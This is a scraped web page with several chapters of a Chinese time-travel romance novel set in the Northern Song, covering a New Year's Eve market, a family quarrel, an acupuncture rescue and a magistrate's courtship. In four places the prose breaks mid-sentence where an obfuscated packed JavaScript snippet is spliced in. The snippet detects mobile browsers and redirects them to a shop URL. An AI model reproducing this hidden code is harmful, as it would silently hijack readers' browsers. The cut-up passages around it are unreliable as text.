“嗯。”路漓目光投向别处,装作无意道:“此人也不知是什么来头,年纪轻轻的,便坐上了七品官。” 丁芷灵光一闪:“我好像...有听过他的一些传闻。” “传闻?”路漓和丁兰两脸茫然。 “嗯!约莫三、四年前吧。当时我上集市采买,正好碰上衙役张贴新榜文,我便想上去凑个热闹,还未走近,就听到他们这样说...” 【丁芷的回忆】 “你们听说了吗?浚仪县里,那个姓章的小县丞,年方二七!” “这章小郎君来头不小啊!我可听说,他乃是官家特恩荫补的!好像是...为了嘉奖代国公凯旋。” “听说他是代国公养子!” “我看,八成是在外头养的儿子吧!” “真的假的?!” “嘘!小声点,当心脑袋!” “......” 【回忆结束】 “大致就是这样,当时也没想到我们会来浚仪,所以只当听个乐子,很快便忘了。适才小娘子提到,我才想起有这么一段。” 『真没想到,他在这儿依旧与父母无缘,寄人篱下的日子定然不好受...』 “啊?”丁兰嘴巴张得老大,声音却放得很轻:“若这是真的,他真拾了个大便宜呢!” “哎!这便是,公卿一字书,胜过千万干谒诗啊!”丁芷一边摇头,一边叹息,活像个评书的。 这声感叹,引得路漓满腹狐疑。她第一次发觉,身旁这姐妹俩许是文武全才。 若非如此,沈玉玟又岂会安心放她出门?若非如此,丁芷又岂能发出方才的感叹?还有平日看书练字时,她们的随口附和...路漓越推想,越确信。 想必她们的爹娘,在培养时定是下了许多功夫。可是为何,最终却是一贫如洗,举目无亲的境况?难道真是读书,把家都读穷了? 路漓有心想问,可又怕勾起她们伤心的回忆,张了张嘴,最终还是把话咽了回去。 她转而续道:“你们以为,这是讹传还是真相?” “难说,毕竟无风不起浪嘛。”丁兰转头问道:“丁芷,你说呢?” 丁芷点头小声道:“我也觉得,毕竟那群人反复提到代国公。我想,诚然是有些联系的。”丁芷看向左侧道:“小娘子,你说呢?” “流言入耳,难辨真假。不过,今日瞧他捉人时,倒是有板有眼的。”想到在现代,自己也曾因误解,而挤兑他是“关系户”,路漓不禁莞尔轻笑。 丁兰丁芷对视一眼,疑惑地看向这个面若桃花的小娘子。 路漓收起笑容,又露出了那个“自以为凶狠”的表情:“今日我们的对话,绝不能让第四人知晓。” “喏!我们发誓!” --------------------------------------- 又是一场风雪,转眼已是岁除。 院里红梅轻附着白霜,三五寒鸦飞向远处枯藤。“好传神的梅花,这是谁的大作?” “是我画的。” 抬头见来人是沈玉玟,路漓一边行礼,一边回想着自己方才的语气,听起来应该没有歧义吧? 沈玉玟面含微笑道:“适才桌上,见你用得不多,可是有哪里不舒服吗?” “没有,我很好。” 沈玉玟拉路漓坐下道:“含英,别和你爹爹怄气了。那几日,宅里确实不宜奏曲作乐,你也要体谅你爹爹。” 路漓听得一头雾水:『这又是翻的哪门子旧账...』 她没有答话,沈玉玟又道:“今夜,集市上定然十分热闹,你也去凑凑这热闹吧。” “好啊!”路漓喜上眉梢,但又犹豫道:“可这夜市,爹爹他...” 沈玉玟温柔一笑:“就是你爹爹叫我来的,等会出去时,换身便服,别让人瞧出身份。记着,亥时之前回来。” “喏,多谢母亲。” 夜市上,各式灯笼沿街高挂,映出暖黄色光圈。灯火旁飘来蒸腾雾气,一路熙熙攘攘。 邓沅提着走马灯:“小郎君,这夜市好生热闹!” 章桓眺望着亮处:“是啊,每年都是如此。” “小娘子,慢一些!” “丁芷丁兰,这边!”一女子从身后小跳走过,面上白纱半遮,姜粉色的毛领斗篷随风微摆。 “这花草灯好精致啊!”路漓掏出钱:“给我拿一个。” 她将花灯抬近端详,光影入眸,一双桃花眼显得更加顾盼生辉。 那双眼睛...好像在哪里见过?藏色裘袍下的步伐顿了一瞬,身旁的邓沅见状,好奇地伸了伸脖子。 章桓眼眸微眯,不由地朝那个方向走了几步。 “小郎君!等等我!”邓沅忙跟上去。 虽说这岁除夜市,许多贵家娘子也都会前来,但路漓还是尽量往低调打扮。挑了一身杏粉交领襦裙,双髻旁缀了几朵玉梅,看起来简约又不失大方。 “诶,是糖画?”路漓停下脚步,耳边两只粉晶玉坠轻快地晃动着。 “我要个兔子!” 身侧传来的嗓音,似乎有些耳熟?路漓忍不住扭头瞄了几眼。他个头略比路漓高些,稍窄的双肩上,挂着一袭竹青色裘衣,模样很是清秀,只是那顶软脚幞头,似乎有些不贴脑袋。 “多谢。”他拿起兔子糖转身时,瞬间眉眼具笑道:“英儿!” “小光?!”路漓喜不自胜,终于在这“北宋亲友录”里,见到了她从小到大,最最要好的闺中密友! 一阵寒风袭来,险些将许芝光头上的软幞吹落,幸好被身旁及时扶住。路漓伸出另一只手帮她正了正帽沿,有些没顾上被风掀起的面纱。 是他?!章桓驻足自语道:“果真是个女子?” 邓沅愈发感到新奇:“她?谁啊?” 许芝光将钱递给摊贩道:“再来个兔子!”话音刚落,路漓便给了她一个热情的拥抱。 两人举动被不远处那人尽收眼底,他瞳中闪过一丝异样,心中隐隐有些别扭。 “小光,我可想死你了!我感觉有八百 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16620272|187848||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 年没见过你了!”路漓激动得声音都有些微颤。 “瞧你说的,冬至不是刚见过吗?”许芝光看着路漓,软语道:“怎么了?可是在家里,受了那位的气?” 听到这两句话,路漓才找回些冷静,这是在北宋啊!待得久了,她甚至有些弄不清楚,这些亲友究竟是她的,还是路含英的? 如果...如果真的是穿到了平行时空,那么以后,她就是路含英? 路含英也就是路漓...? “英儿?英儿!” “啊?!”不知何时,路漓手上已多了一串兔子糖。 许芝光啃了一口兔耳朵,含糊道:“想什么呢?喊你半天也不出声。” “没什么,你打扮成这样,还真有点陌上人如玉的感觉呢!” 许芝光骄傲地抬了抬下巴:“我这样的女公子,自然是举世无双的。” 这姐们说话还是熟悉的配方,路漓不禁轻笑:“眼下集市人头涌动,你还这般乔装,也太谨慎了些。” 许芝光挠了挠后脑勺:“翁翁说,宦门女子出门被人瞧见总归不太好。何况,我是一个人出来的,还是应当谨慎一点的。” 路漓问道:“你为何不带着近侍一起出门呢?” “翁翁说,东京不比苏州,即便是自己家里的人最好也不要全然相信,所以我向来是独自出行。”她拉过路漓的手:“英儿,那个...” 见她支支吾吾的,路漓有些了然道:“你想问...乔天羽?” “嗯!自他开始准备科考,闲暇的时间愈发少了,一年也碰不到几次,上回见他还是在上巳节。你可有再见过他吗?他可还好吗?” 脑中忽地闪过那日的情景,路漓有些结巴道:“他、他很好,瞧他的样子,应是成竹在胸的。” 许芝光浅笑道:“我想也是,诶我们去那边瞧瞧!” 周围的每个人、每条人物关系,似乎都与原时空大同小异。既然如此,那么在哪里,不都一样吗?现代如何?北宋又如何?随遇而安,何须纠结。想到这,路漓心情莫名轻松了许多。 身后不远处,邓沅冷不丁来了句:“小郎君,你还预备这样走多久?” 章桓视线停留在两人牵紧的手上,应付道:“什么?” 邓沅清了清嗓子:“不是我说啊,咱俩现在这行径,可有些不太磊落。” 章桓停下脚步,环顾四周道:“额,怎、怎么走到这儿来了?” 邓沅无奈道:“这得问您呐——”,他朝前探了探头:“诶,她们人呢?” 章桓干咳一下,正色道:“我们回吧。” 望着他们离去的背影,许芝光瞪圆眼睛道:“英儿,他们是谁啊?” 路漓眼神流转,微嗔道:“...两个登徒浪子。” 丁兰丁芷异口同声:“就是就是!登徒子!” --------------------------------------- (古文小课堂:“公卿一字书,胜过千万干谒诗”改自唐代白居易的《见尹公亮新诗偶赠绝句》。) 5. 回首灯火处(2) 路上,邓沅皱着眉,一番苦思冥想之后,猛然道:“哦!我想起来了!” 章桓被身旁这声叫嚷惊了一下:“你想起什么了?” “原来如此啊——我知道了!”邓沅的脸上,露出了微妙的笑容。 章桓淡淡瞥了一眼,反问道:“你知道什么了?” “方才那位女子,正是我们在月满楼,遇见的小郎君吧!”邓沅话锋一转:“难怪那日,人家的好友要来挑衅你呢!” 章桓慢慢微笑道:“邓沅,你可是又想温习如何举水桶了吗?” “郎君饶命啊!”邓沅收敛道:“我也是实话实说,你今夜这出尾随,实在是有些失礼。这大晚上的,也不怕吓着人家。” “我!”章桓有口难辩,差点没咬着舌头:“我什么时候尾随了?我那是...!” “呵还不承认,跟在人家后头,走了快一炷香了。”邓沅撇了撇嘴角:“小郎君,你若是对她有意,大方邀约便是,何苦出此下策...” 章桓眨了几下眼,放声反驳道:“谁说我对她有意了?!” 邓沅忙道:“当我没说!” 章桓双目闪烁,心中不知在想些什么。一旁的邓沅转头偷笑,看破难说破,当真是要把人憋坏了啊! 两人默了半晌。 章桓“漫不经心”地开口道:“邓沅,依你看,她与那位是何关系?” “那位?”邓沅强忍笑意,打趣道:“哪位啊?是茶坊那位,还是今日那位?” 章桓看向别处,闷声道:“两位。” “依我看,茶坊那位,多半是竹马之交。不过方才那位嘛,应该是两小无猜!”邓沅一本正经道:“古言云,女为悦己者容。今日她虽打扮得素净了些,但能看出,也是花了些巧思的。” 章桓没好气道:“迂腐!谁说女子一定要为悦己者容?也可以为己容啊。” 邓沅脱口而出:“即便是如此,他俩的举止,诚然是有些亲密的吧!”显然,他这话赶话的毛病又犯了。 章桓眼中射出一对冷箭,邓沅忙吞下嘴边的话,瞬间老实道:“郎君莫怪!我只是猜测罢了,或许,事实压根儿就不是这样。” 章桓眼底闪过片刻不悦,快到连他自己都没能察觉。邓沅默默赏了自己一嘴巴,嘀咕道:“我这笨嘴,说这些作甚!真是吃撑了闲的。” 须臾后,章桓喉结微动,幽幽低语道:“小白脸。” 邓沅点头附和:“嗯,是挺白的。” 听到这话,章桓的双眼又飞出森森冷箭。转头看到郎君这副表情,邓沅立马反应过来,自己方才又接错话了。他连忙捂住嘴,一直到回府,都没让这笨嘴再往外蹦出半个字。 东偏院内,灯烛摇曳。 章桓翻着兵书:“邓沅,父亲的寿礼送去了吗?”邓沅啄米似的点了点头。 章桓抬眼道:“方才不是还喋喋不休的吗?怎么眼下哑巴了?” 邓沅憨笑道:“嘿嘿,少说少错嘛。” “上次叫你查的事,有结果了么?” 邓沅正色道:“回小郎君,那位大夫名唤黄杨,苏州籍。年初来浚仪后,在集市支了间药铺,靠开药看诊维持生计。听闻其医术了得,去问诊的病人大都对其赞不绝口。” 章桓并未抬头:“以他的性子,想必没少得罪人。初来乍到,却能站稳脚跟,只怕同行都对他很是吃味吧。” “小郎君猜想得不错。” “那么,她呢?” “邓沅办事不利,因不知她上次是女扮男装,暂时还未查到她的来历。” 章桓心中了然道:“她穿着十分低调,乔装不止为了掩饰身份,也是不想落人口实,且她身旁一直有人随身相护,想来应是宦门女子。” 邓沅双眼放光:“莫非,郎君已经猜到她是哪家的小娘子了?” 章桓淡淡一笑:“听她的口音,大抵也是苏州人士,与那大夫应是儿时旧友。既是这样,若有一方早年来此,二人断不会拖到年尾才‘久别重逢’。所以,她与那大夫来浚仪的时间应该大差不差。倘若我没记错,今年新晋的官员中,有三人是从苏州来的,而年纪能当他父亲的,便只有太常寺的路少卿。” 邓沅打从心底佩服这个年方二九的小郎君,道:“郎君真是神机妙算!那,还需要继续查下去吗?” “不必了,知晓这些已经足够。”章桓合上书道:“现在什么时辰了?” “子时过半了。” “阖家聚饮,围炉而坐,共祈新岁平安。”章桓将袖中绢帛丢入炉内,踱步到门前:“但愿,我的祝祷能传达给他们。”遥望着寂静的夜幕,他的心底涌起几分哀伤。 炉内的火焰愈发炽热明亮,屋子里暖意渐浓。 路漓坐在桌前,百无聊赖地打了个哈欠。 没有手机和电脑,却要熬一整个通宵,简直跟值夜班一样磨人。她撑着脑袋,快要困得五感全失了。 “含英。” “啊?”听到有人喊自己,路漓忙出声回应,声音响得把自己给吓了个半醒。 沈玉玟转头道:“万川,要不让她先回屋睡吧。” 路万川鼻腔轻嗤了一声:“你别老拿她当孩子,十五岁的人了,什么事情该做,什么事情不该做,心中也该有数!有些规矩,倘若现在不立好,将来嫁到婆家,会惹人笑话!” 这熟悉的口吻让路漓彻底醒了,回想到现代的事,她有些气不打一处来:“惹人笑话?我身上惹人笑话的事情多了,不知爹爹说的是哪一件?” “你这是什么态度?!” 路漓面不改色续道:“是自小爹娘和离?还是和离后,爹爹依旧与前妹婿一家维系往来?” “你!”路万川拍案而起,沈玉玟将其拦住道:“夫君,你别动气!” 路漓也站起身:“干什么!又想打我吗?!”她越说越激动,丁兰丁芷忙上前拉住她的手臂。 沈玉玟轻叹一声:“含英,你先回屋吧。” “走吧,小娘子。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16620273|187848||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”丁兰丁芷半拉半哄地带着路漓出去了。 见三人走远,沈玉玟才道:“你瞧你,同她计较这么多做什么?你不是想求和的吗?” 路万川余怒未消,粗斥道:“哼!这和,谁爱求谁求去!”沈玉玟颇为无奈地摇了摇头。 看着屋内陈设,路漓忽然觉得自己有些过分。白白捡了个“宦门子女”的家世,吃好住好,她竟还要撒泼,诚然是有些得寸进尺啊。 路漓开口道:“我刚刚,是不是有点过分?” 丁兰点了点头:“是有一点,不过小娘子一向是这个性子,主人他也了解的。” 丁芷接道:“是啊,前段时间,小娘子突然变得淑女了许多,我们还真有些不太习惯呢!” 路漓目光闪了闪,没有答话。 姐妹俩对视了一眼,道:“小娘子,今儿是岁除。要不,咱们还是服个软,去道个歉吧?” “道歉?哼!谁爱去谁去!” 她又没说错什么!明明是爹爹自己不好,一点小事就上纲上线的。路漓撇了撇嘴:“我困了,想歇息了。” 丁兰丁芷行礼道:“那我们去给小娘子打水沐浴。” “嗯。” 洗漱之后,路漓坐到梳妆台前,身后两人轻柔地为其梳整着青丝。 路漓打量着镜中两人,忍不住轻唤道:“丁兰丁芷。” 丁芷歪了歪脑袋:“小娘子,什么事呀?” “...”路漓犹豫片刻,还是问出了久藏于心的疑问:“你们姊妹二人当初是如何来家中的,你可还记得?” “当然记得,那年正值端午,爹爹暴毙家中,丧仪期间娘忽染恶疾,嫡母便将我们母女三人赶出了家门,不久后,娘也过世了。我们姊妹在苏州举目无亲,别无他法,只得卖身葬母。” “彼时恰逢主人携小娘子外出赏玩,小娘子见到我俩便上前问询。得知我俩已是山穷水尽,走投无路,便向主人讨了银钱,助我俩安葬母亲。随后我与丁兰便入宅随侍在小娘子身侧,算来已有九年了。”说到这里,姐妹俩神色微苦。 路漓连忙回头抱歉道:“对不起啊!”虽说不知者无罪,但戳到了对方的伤心事,路漓还是感到有些自责,一时之间不知该说些什么了。 丁兰连忙说道:“小娘子哪儿的话!入宅以来,小娘子从来都以诚心相待,宅里上下也十分热心宽和,路宅于我二人如同再造!” 望见两人皆是满眼诚挚,路漓突然觉得自己有些小人之心。可是......防人之心不可无,在这陌生的地方,凡事只有问个清楚,她才能安心卸下防备,对他人推心置腹。 片晌,丁兰端起水盆道:“小娘子早些歇息,我们先下去了。” “嗯。”耳畔响起温柔的关门声,路漓遂起身走到榻边躺下。 --------------------------------------- (古文小课堂:“女为悦己者容。”出自《战国策·赵策一》) 6. 檐下悠扬 不知怎的,她翻来覆去,越躺越清醒。 看大家的反应,似乎都对刚刚那一幕见怪不怪。莫非,这父女俩日常相处时,也是一点就着吗?怪不得沈玉玟前面说“不要怄气”。想来,定是之前也发生过一些口角。 方才爹爹话里的意思,是准备将她的婚事提上议程了么?可明明是刚过九年义务的年纪,放到古代,竟然已经要论及婚嫁了!这简直是赶鸭子上架嘛! 也不知道...爹爹心中是否已有人选?会是他吗?可现在,她与北宋的章桓不过萍水相逢。没有经过相处了解,怎么可能叫她仅凭一面之缘,就答应嫁与他为妻呢?若不是他,那她就更不可能答应了! 好在北宋婚制还算开明,若是她态度坚决地表明立场,应该也不会强行送她出嫁吧? 还以为换了时空,换了身份,便可以抛开烦恼,无忧无虑了。无奈,烦恼总是抽刀断水水更流。 人,会反复踏入同一条河流吗? 七想八想的,路漓那清醒过来的脑袋,已经乱作一团了。 眼前逐渐模糊,又逐渐清晰。不知过了多久,路漓再次睁开眼时,天色已经有些泛青了。 “丁芷丁兰。” 二人推门进来道:“小娘子你醒啦,早食已经备好了。” 想到昨夜的拌嘴,路漓犹豫道:“爹爹...已在膳堂了吗?” 丁芷拧了拧手巾:“主人进宫朝贺了。” “这么早?”路漓望了一眼窗外:“天还没亮啊。” 丁兰接道:“听阿棋说,刚打五更,主人就换好朝服出门了,饭也没顾上吃。” 路漓眉头轻皱:“怎么总是这样!一把年纪的人了,吃个饭还要人哄着吗?” 丁兰偷笑道:“小娘子和主人一样,都是硬着嘴巴关心人。” “谁要关心他啊!”路漓别过头去,虽然很不想承认,但她的关心确实发自肺腑,她好像真的越来越代入了。 早食后,路漓一如既往地在手臂上练习着针法。 半晌,耳边掠过一阵呼啸,无数红梅花瓣被风吹落。这景象,不禁让她想起了一句歌词:落花雨,你飘摇的美丽。 “山水之间”是她大学重拾琵琶后,练成的第一首歌。之后练的几首,也都是这个歌手的古风曲。 说起来,她的琵琶和书法,还是因为小学时看了一部古装剧,才起兴去学的。只可惜初中课业繁忙,均只考了中级,之后便没有再学下去了。 家中长辈,还屡次将此事作为她“喜欢半途而废”的佐证,起初她还具以力争,到后来她已经不想辩解了。她当然清楚,若是她继续往下学,只会面对更多的疾言厉色。 她将针收起后走到窗边,伸手触摸琵琶的同时,脑中回响起她与祖父母无数次的争执声。 琵琶被摔到地上的那一刻,她的眼泪夺眶而出。她恨自己的不懂规矩,恨父亲的不作为,恨祖父母的不讲道理,更恨自己没办法做到恨! 路漓仰了仰头,眼前朦胧渐渐褪去。她蹲下身,仔细擦拭一番后,抱着琵琶走向屋外。 亭外翩翩花雨,亭内玉手拨弦,一曲悠扬传向远处。 “林中抚琴曲委婉,群山听懂我悲欢,泪如雨落才知过往剪不断。 落花雨,你飘摇的美丽。 ... 只陪你,泛岁月的涟漪——” 歌声婉转,檐下那人有些入了迷,望着那处目不所及的悠扬,心中泛起片片涟漪。 “小娘子!”听到不远处的呼喊声,亭中人停下了手里的动作。 路漓用袖子拭去泪痕,收起情绪道:“何事?” 丁芷喘着气道:“小娘子,不好了!主人晕倒了!” 路漓站起身道:“什么?!怎么回事?” “好像是因为马突然受惊了,车夫被甩下去后,主人也摔下马车,随后就倒地不醒了。” “马车可有撞伤其他人?” 丁芷摇头道:“幸得章知县赶来,及时稳住了马,没有造成其他伤亡。” 路漓神色微松:“大夫来看过了吗?” “丁兰出去找大夫,还没有回来呢。” “丁芷,帮我放回屋内,我去看看爹爹。”路漓将琵琶抱给丁芷后,转身小跑出去。 药铺前的脚步一停,丁兰扶着桌气喘吁吁道:“黄大夫,我家主人昏迷不醒,想请你前去宅里看诊。” “额,我不是黄大夫。” “啊?”丁兰闻声抬头:“你是谁啊?” “小可胡礼未,是前面...”他话未说完,丁兰出声道:“狐狸?你叫狐狸?!那黄大夫人呢?” 胡礼未愣了一下:“他外出采药去了,寻了我来帮他看门。” “那待他回来后,劳烦你请他配一些医治头晕和跌伤的药,多谢你了。”丁兰行了个礼,掉头往外跑时,一个踉跄摔倒在地。 胡礼未赶忙扶起她道:“你没事吧?” “无事!”丁兰着急地挥了挥手。见她步伐不稳,胡礼未上前道:“这样吧,你留在这儿看门,我去帮你寻大夫,顺便开两副药。” “这...”感受到脚边的强烈痛感,丁兰无奈道:“有劳狐狸郎君了。” 胡礼未嘴角抽了抽,又是一位将他名字喊错的人,有时还真想击鼓鸣冤呐! 路漓疾步来到榻边,搭了搭路万川的脉搏:“脉象迟缓,气血不足。”她将针囊摊开,在其人中、百会、内关穴施针。捻转片刻后,路万川缓缓苏醒。 屋子里的人都松了口气,路漓收针道:“丁芷,到厨室制碗小米粥来。” “不用了,阿棋已经备好了。”沈玉玟来到榻边:“万川,你感觉怎么样?” 路万川扶了扶额,坐起呢喃道:“我这是怎么了?” 路漓没好气道:“饿晕了呗,谁叫你不吃饭就往外跑。” “我还不是被你给气的!气都给我气饱了!” 路漓失笑道:“呵,那看来我还得多气气你,省得你挨饿咯?” “你!!”路万川一个激动,眼前又花了一下。 沈玉玟扶着他:“万川,是含英施针把你医醒的。” 路 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16620274|187848||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 万川看了一眼路漓手中的针囊,移开视线道:“算她还有点良心!” “我!” 丁芷连忙挽着路漓行礼道:“主人主母,我们先告退了!” 沈玉玟点了点头,将粥端到了路万川面前。 屋外,路漓有些担忧:“丁兰怎么还没回来,不会遇到什么歹人吧?” 丁芷自信道:“不会!阿姊身手那么好,等闲的绿林草寇根本近不了她的身。” 走到转角处,四人差点迎面相撞。 “当心!”他一把扶住身前女子,视线交汇之际,路漓手腕处的温热,有些传到了脸上。 丁芷环视一圈,还好四下无人,她轻咳一声道:“明府,还请放尊重一些。” 两人回过神,忙离远了些。 章桓整了整神色:“路少卿怎么样了?” 路漓移开目光:“已经醒了,有劳挂心。” 她语气似乎有意疏离,章桓默了默,邓沅见状忙道:“诚如小娘子所言,我家知县很是挂心,将路少卿送回后,巴巴地等到现在呢!” 章桓略显尴尬地咳了两声。 等到现在?是等主人醒来?还是等小娘子出来?丁芷狐疑地打量着对面两人。 “还未谢过章知县,今日之事幸亏有你。”路漓携丁芷一道行了个礼。 “路小娘子无需言谢。”他顿了顿,柔声问道:“方才,是你在拨弦高歌吗?” 路漓轻点头道:“嗯。” 他毫不掩饰地欣赏道:“今日闻君琵琶语,如听仙乐耳暂明。” 虽不是第一次听见他的赞美,但路漓的心坎还是莫名感到舒畅,她嫣然一笑道:“章知县谬赞了,我不过是一时游戏罢了。” 这两人的视线又对上了,身后的邓沅强忍笑意。 瞥见阿棋端着碗走了出来,丁芷提高声音道:“既然章知县赶时间,我们也不便多留了,您这边请。”丁芷眼神示意,三人随即领悟,一道朝外走去。 走到门口,章桓正经作了个揖,眸光炯炯道:“路小娘子,后会有期。” 丁芷探头嘀咕道:“奇怪,这背影好眼熟,好像在哪儿见过似的。” 回头见到小娘子仍眺望着远处,丁芷笑着碰了碰路漓的手肘:“小娘子别盯着了,人都走远了!” 路漓嗔怪道:“谁盯着了!” 丁芷满脸笑意:“这下,我可全明白了!原来小娘子...”路漓轻轻推搡道:“说什么呢你!”两人嬉闹了一番。 (咚咚咚...) 路漓停下道:“是不是丁兰回来了?” 丁芷开门后,愣了愣:“你是...?” --------------------------------------- (古文小课堂:“今日闻君琵琶语,如听仙乐耳暂明。”改自唐代白居易的《琵琶行》。 注:“林中抚琴曲委婉,群山听懂我悲欢,泪如雨落才知过往剪不断。落花雨,你飘摇的美丽。只陪你,泛岁月的涟漪。”选自许嵩的《山水之间》。) 7. 花市灯如昼(1) 丁兰介绍道:“这位是狐狸郎君,那位是他帮忙找来的大夫。我不小心把脚崴了,所以误了些时辰。” 路漓若有所思道:“丁芷,你引大夫去给爹爹瞧瞧。” “喏,大夫这边走。” 路漓扶过丁兰,道:“多谢胡茶主,改日得空,定会再访月满楼。” “小娘子你真是太客气了。”胡礼未将药递过来:“这是妙春堂大夫开的药,小可还要赶回去,就先告辞了。” 丁兰一瘸一拐的:“小娘子,他是上次那家茶坊的茶主吗?” “不错。” “哦...对了,主人情况如何了?” 路漓:“爹爹已无大碍,我看啊,你伤得比他还重些。” 闺房内,丁兰退去鞋袜,脚踝处又青又乌,像染了色的萝卜一般。 路漓神色微嗔:“真是的,你怎么不晓得找大夫看看?” 丁兰支吾道:“我...怕耽搁太久。” 路漓刚欲帮她上药,她忙抽走萝卜脚,道:“小娘子不可!我自己来就行!” “有何不可?大家的脚都是用来行路的,并无分别。”路漓很是无奈:“何况你手掌上也有擦伤,就不要跟我拉拉扯扯了。” 上完药后,路漓拿起药方端详了一番:“这胡茶主还挺细心的,还特地附上了药铺地址呢。” 丁兰一边点头一边嘀咕道:“嗯,而且还挺热心的。”路漓唇角浮上一抹笑意,随手将桌面理了理,便开始享受起自己排的“语文自习课”。 案前,章桓神闲端坐,骨节分明的手指在纸上徐徐挥墨。 邓沅呈上手书道:“小郎君,这是刚刚接到的密文。” 章桓搁下手中的黄檀笔,接过手书展开后,面色微变。 “小郎君,房州那位...” 章桓淡然将手书焚毁:“怕是没几日了。” 邓沅道:“可眼下,上元节将至,若是...” 章桓握起毫笔点了点墨:“无论如何,也需等到节后,再行张榜。” “喏。”邓沅探头看到纸上的歌词,轻笑道:“小郎君,这是将相思寄情笔墨了?” 章桓笔尖一顿,没有答话。 邓沅有些压不住嘴角,续道:“像路宅小娘子这般,又懂医术、又善音律、头脑又好的女子,委实少见呢!” 章桓专心伏首案前:“不得议论路小娘子。” 想到小郎君的“竞争者们”,邓沅忍不住开口道:“我也是关心小郎君,此次你救了她的父亲,她必定对你心存感激,郎君可要把握机会啊!” 章桓放下毫笔道:“横刀夺爱,非君子所为。” “您再君子下去,这相思可就要变单相思了。”邓沅转了转眼珠,略带调侃道:“莫非,小郎君是想以退为进?” “邓沅,你最近是愈发得闲了。等会去外头,挑两只木桶装满水。” 邓沅答应得很是爽快:“喏!小郎君装水做什么呀?” 章桓微笑抬眸道:“半个时辰之后,方可放下水桶。” “啊——”邓沅愁眉苦脸地叉手道:“领!邓沅告退了。” 章桓凝视着宣纸,眼中波光闪动:“满树玉瓣多傲然,江南烟雨却痴缠...她可是将二人的过往,写成了歌吗?” 闺房内,路漓举起宣纸欣赏了一番,颇为满意地点了点头。幸好以前学的是琵琶和书法,如今还能有东西打发时间。否则,定要被这古代生活闷出毛病来了。 丁芷坐在一旁,双手托着下巴:“小娘子,我发现你的字,似乎与之前有些不一样了。” 路漓玉手顿了顿:“啊?哪里不一样?” “变得——”丁芷眼睛亮晶晶的:“更加好看了!” 路漓暗舒一口气道:“怪会哄人。” 丁芷呢喃道:“要说哄人,我可比不过那位章知县。” 丁兰顿时眼睛放光,小声道:“嗯?章知县?!说来听听!” 丁芷凑到丁兰耳边,绘声绘色地将今日那番情景,从头到尾复述了一遍。两人越说越大声,路漓出声道:“你俩咬什么耳朵呢?” 丁芷双眼滴溜溜道:“小娘子,你可有空吗?” 路漓搁下笔,松了松筋骨道:“今日就写到这吧,我现在有空。” 丁芷坏笑道:“小娘子,我觉得你待章知县格外不同。” 路漓眼神躲避道:“我不觉得啊。” “虽然你语气极为冷淡,但你看他的眼神,说是眉目传情也不为过。” “...有吗?” 面对一个跟她未婚夫相似度百分之九十九的人,她已经尽量克制自己的感情了。无论如何,外表不能当饭吃,内在才是爱情的试金石。没有相熟之前,她是绝不会轻易动心的。 “我会那么看他,其实是因为——”路漓转念一笑:“因为我觉着他们俩,有点像昨夜跟踪我们的人。” 两人脸色大变,丁兰惊讶道:“竟然是他们!” 丁芷拍桌道:“我就说怎么那么眼熟呢!若是有机会再见,定要当面问他们讨个说法!” 这姐妹俩真是一对活宝!路漓心中暗喜,可算转移她们的注意力了。 --------------------------------------- 几日过去了,爹爹身体刚养好些,紧接着又犯了头风。沈玉玟忙着照料他,每日仅在路漓来行针时,才有工夫对这个女儿嘘寒问暖。 本想遣丁芷去江郎材尽开些药与针疗搭配服用,谁知黄杨外出采药,一去就是半个月,胡礼未干脆帮他把药铺暂时关了。有时真好奇,这家伙是如何做到不亏本的。 爹爹静养期间,表兄曾上门探望,碰见路漓时,他十分客气有礼,仿佛两人是刚认识一般。寒暄了没两句,他便要赶回家温书,还真有些手不释卷的意味。 午后,小光遣人送来一封书信。信上说,她祖父也被这凛冽的北风吹病了,由于她爹娘都不在东京城内,无奈只能取消这次上元节的约见,属实遗憾。 “丁芷,我的脚还没好利索,无法与你们一道去了。”丁兰认真叮嘱道:“上元节人潮汹涌,你一定要好好保护小娘子哦。” “放心,交给我!” 酉时,路漓走在集市上,深觉今日这青纱帷帽是戴对了。上元节热闹非凡,比岁除那日多了许多节目活动,有了帷帽遮挡,便可定定心心地参与同乐,不用担心被人瞧出身份了。 丁芷指了指左边:“小娘子,这家的面具样子很是别致!”路漓心领神会道:“看中了哪个?”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 